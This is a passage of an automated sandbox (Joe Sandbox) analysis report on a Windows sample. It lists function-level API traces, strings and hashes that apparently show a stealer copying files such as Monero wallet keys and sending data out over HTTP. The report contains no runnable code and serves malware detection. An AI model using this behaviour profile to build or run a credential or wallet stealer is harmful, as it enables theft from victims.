", xrefs: 00D25482
------, xrefs: 00D25297
------, xrefs: 00D2563B
", xrefs: 00D255C4
------, xrefs: 00D253B7
", xrefs: 00D25706
--, xrefs: 00D25280

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 837925275eaf8d6e6ce9abe3eb520041989c79df771a08995b152a4a83158373
Instruction ID: 12c1d0169c3a632d97b838f23c8c55d89b70d47561dd3792413cc644bf33778e
Opcode Fuzzy Hash: 837925275eaf8d6e6ce9abe3eb520041989c79df771a08995b152a4a83158373
Instruction Fuzzy Hash: FA32EC72A20128AADB14EBA4DC95FEEB378FF54700F404199F15672092EF706A49DF72

Function 00D2A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3AA70: StrCmpCA.SHLWAPI(0184A178,00D2A7A7,?,00D2A7A7,0184A178), ref: 00D3AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D2AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00D2AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00D2ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D2A8B0

Part of subcall function 00D3A820: lstrlen.KERNEL32(00D24F05,?,?,00D24F05,00D40DDE), ref: 00D3A82B
Part of subcall function 00D3A820: lstrcpy.KERNEL32(00D40DDE,00000000), ref: 00D3A885

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

lstrcat.KERNEL32(?,00000000), ref: 00D2ACEB
lstrcat.KERNEL32(?,00D41320), ref: 00D2ACFA
lstrcat.KERNEL32(?,00000000), ref: 00D2AD0D
lstrcat.KERNEL32(?,00D41324), ref: 00D2AD1C
lstrcat.KERNEL32(?,00000000), ref: 00D2AD2F
lstrcat.KERNEL32(?,00D41328), ref: 00D2AD3E
lstrcat.KERNEL32(?,00000000), ref: 00D2AD51
lstrcat.KERNEL32(?,00D4132C), ref: 00D2AD60
lstrcat.KERNEL32(?,00000000), ref: 00D2AD73
lstrcat.KERNEL32(?,00D41330), ref: 00D2AD82
lstrcat.KERNEL32(?,00000000), ref: 00D2AD95
lstrcat.KERNEL32(?,00D41334), ref: 00D2ADA4
lstrcat.KERNEL32(?,00000000), ref: 00D2ADB7
lstrlen.KERNEL32(?), ref: 00D2AE0D
lstrlen.KERNEL32(?), ref: 00D2AE1C

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D2AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00D2ABD4

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 6df74cb54584e6bd87227b7a0a6579445bbda544f252bc5cfda8520809f0ec12
Instruction ID: dacb7f76c96a6079290cd3b3449180d83954c70191fcdcd2a91d434553135c9f
Opcode Fuzzy Hash: 6df74cb54584e6bd87227b7a0a6579445bbda544f252bc5cfda8520809f0ec12
Instruction Fuzzy Hash: 2D121D71A10118ABCB04EBA8DD96EEE7378EF14300F504159F547B60A1EE75AE0ADF72

Function 00D25960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
Part of subcall function 00D247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D259F8
StrCmpCA.SHLWAPI(?,0184F108), ref: 00D25A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D25B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0184F088,00000000,?,01840C38,00000000,?,00D41A1C), ref: 00D25E71
lstrlen.KERNEL32(00000000), ref: 00D25E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00D25E93
RtlAllocateHeap.NTDLL(00000000), ref: 00D25E9A
lstrlen.KERNEL32(00000000), ref: 00D25EAF
lstrlen.KERNEL32(00000000), ref: 00D25ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D25EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00D25F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D25F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D25F4C
InternetCloseHandle.WININET(00000000), ref: 00D25FB0
InternetCloseHandle.WININET(00000000), ref: 00D25FBD
HttpOpenRequestA.WININET(00000000,0184F0E8,?,0184EA10,00000000,00000000,00400100,00000000), ref: 00D25BF8

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

InternetCloseHandle.WININET(00000000), ref: 00D25FC7

Strings

", xrefs: 00D25CD5
", xrefs: 00D25E16
------, xrefs: 00D25D4C
------, xrefs: 00D25A96
------, xrefs: 00D25C0B

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 8b031b6cdc7015142674a4b970ab3a83d27f7a83f0df1a1a4ffec60e0dbe80e4
Instruction ID: b2cc395959e26f09982a77453f449ebe0cd5f93659700dd4f9967593dee99b7b
Opcode Fuzzy Hash: 8b031b6cdc7015142674a4b970ab3a83d27f7a83f0df1a1a4ffec60e0dbe80e4
Instruction Fuzzy Hash: D912BB72920128AADB15EBA4DC95FEEB378FF14700F5041A9F14672091EF706A4ACF75

Function 00D2CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D38B60: GetSystemTime.KERNEL32(00D40E1A,01840AB8,00D405AE,?,?,00D213F9,?,0000001A,00D40E1A,00000000,?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D38B86

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D2CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D2D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D2D0CE
lstrcat.KERNEL32(?,00000000), ref: 00D2D208
lstrcat.KERNEL32(?,00D41478), ref: 00D2D217
lstrcat.KERNEL32(?,00000000), ref: 00D2D22A
lstrcat.KERNEL32(?,00D4147C), ref: 00D2D239
lstrcat.KERNEL32(?,00000000), ref: 00D2D24C
lstrcat.KERNEL32(?,00D41480), ref: 00D2D25B
lstrcat.KERNEL32(?,00000000), ref: 00D2D26E
lstrcat.KERNEL32(?,00D41484), ref: 00D2D27D
lstrcat.KERNEL32(?,00000000), ref: 00D2D290
lstrcat.KERNEL32(?,00D41488), ref: 00D2D29F
lstrcat.KERNEL32(?,00000000), ref: 00D2D2B2
lstrcat.KERNEL32(?,00D4148C), ref: 00D2D2C1
lstrcat.KERNEL32(?,00000000), ref: 00D2D2D4
lstrcat.KERNEL32(?,00D41490), ref: 00D2D2E3

Part of subcall function 00D3A820: lstrlen.KERNEL32(00D24F05,?,?,00D24F05,00D40DDE), ref: 00D3A82B
Part of subcall function 00D3A820: lstrcpy.KERNEL32(00D40DDE,00000000), ref: 00D3A885

lstrlen.KERNEL32(?), ref: 00D2D32A
lstrlen.KERNEL32(?), ref: 00D2D339

Part of subcall function 00D3AA70: StrCmpCA.SHLWAPI(0184A178,00D2A7A7,?,00D2A7A7,0184A178), ref: 00D3AA8F

DeleteFileA.KERNEL32(00000000), ref: 00D2D3B4

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 782707715507ad5cbb2f8109239907d2b2781868bb9197476da66b60efb68aa9
Instruction ID: f07f3abd2fc865c5814d505b6c7d02cc468fa6e2ac0906a47fce8740ae99143e
Opcode Fuzzy Hash: 782707715507ad5cbb2f8109239907d2b2781868bb9197476da66b60efb68aa9
Instruction Fuzzy Hash: 79E10A72A10119ABCB04EBA4DD96EEE7378FF14301F104158F156B70A1EE75AA0ADF72

Function 00D38320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

RegOpenKeyExA.KERNEL32(00000000,0184B990,00000000,00020019,00000000,00D405B6), ref: 00D383A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D38426
wsprintfA.USER32 ref: 00D38459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D3847B
RegCloseKey.ADVAPI32(00000000), ref: 00D3848C
RegCloseKey.ADVAPI32(00000000), ref: 00D38499

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Strings

- , xrefs: 00D385A3
%s\%s, xrefs: 00D3844D
?, xrefs: 00D3837A

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 41397b332d0d376c1eee9349b72dd0bdfc8d9b65e7191c8d0b45a67a536e33df
Instruction ID: 2775a87bf482bd14a83791451ba2d1605ea4ec1676bd534000a15f96e8eb60ff
Opcode Fuzzy Hash: 41397b332d0d376c1eee9349b72dd0bdfc8d9b65e7191c8d0b45a67a536e33df
Instruction Fuzzy Hash: 0781EBB191021CABDB24DB64CD95FEA77B8FF48700F008299F149A6140DF71AA85DFB1

Function 00D26280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
Part of subcall function 00D247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

InternetOpenA.WININET(00D40DFE,00000001,00000000,00000000,00000000), ref: 00D262E1
StrCmpCA.SHLWAPI(?,0184F108), ref: 00D26303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D26335
HttpOpenRequestA.WININET(00000000,GET,?,0184EA10,00000000,00000000,00400100,00000000), ref: 00D26385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D2646D
InternetCloseHandle.WININET(00000000), ref: 00D264EF
InternetCloseHandle.WININET(00000000), ref: 00D264F9
InternetCloseHandle.WININET(00000000), ref: 00D26503

Strings

ERROR, xrefs: 00D26407
GET, xrefs: 00D2637C
ERROR, xrefs: 00D264C9

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
